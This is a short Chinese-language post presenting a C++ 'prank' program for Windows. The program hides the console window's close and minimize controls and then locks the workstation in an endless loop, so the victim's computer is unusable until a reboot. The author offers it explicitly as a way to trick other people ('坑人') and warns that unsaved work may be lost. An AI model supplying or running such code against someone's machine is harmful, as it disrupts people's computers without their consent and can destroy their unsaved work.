近日我闲来无事 ,
想到了一种好玩的坑人方式(简单)。
主要是用强大的电脑指令(system)
system("rundll32.exe user32.dll,LockWorkStation");
就可以使电脑注销。
警告!警告!警告!警告!警告!警告!:
此物一旦使用
就必须电脑重启来恢复
所以运行之前请务必把正在运行的重要文件结束保存
此物过于简单,不喜勿喷。
伟大的代码:
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
HWND hWnd = GetConsoleWindow();
SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
HMENU hmenu = GetSystemMenu(hWnd, false);
RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);
LONG style = GetWindowLong(hWnd, GWL_STYLE);
style &= ~(WS_MINIMIZEBOX);
SetWindowLong(hWnd, GWL_STYLE, style);
SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
ShowWindow(hWnd, SW_SHOWNORMAL);
DestroyMenu(hmenu);
ReleaseDC(hWnd, NULL);
for(;;)
{
system("rundll32.exe user32.dll,LockWorkStation");
}
}
看啥?作者溜了。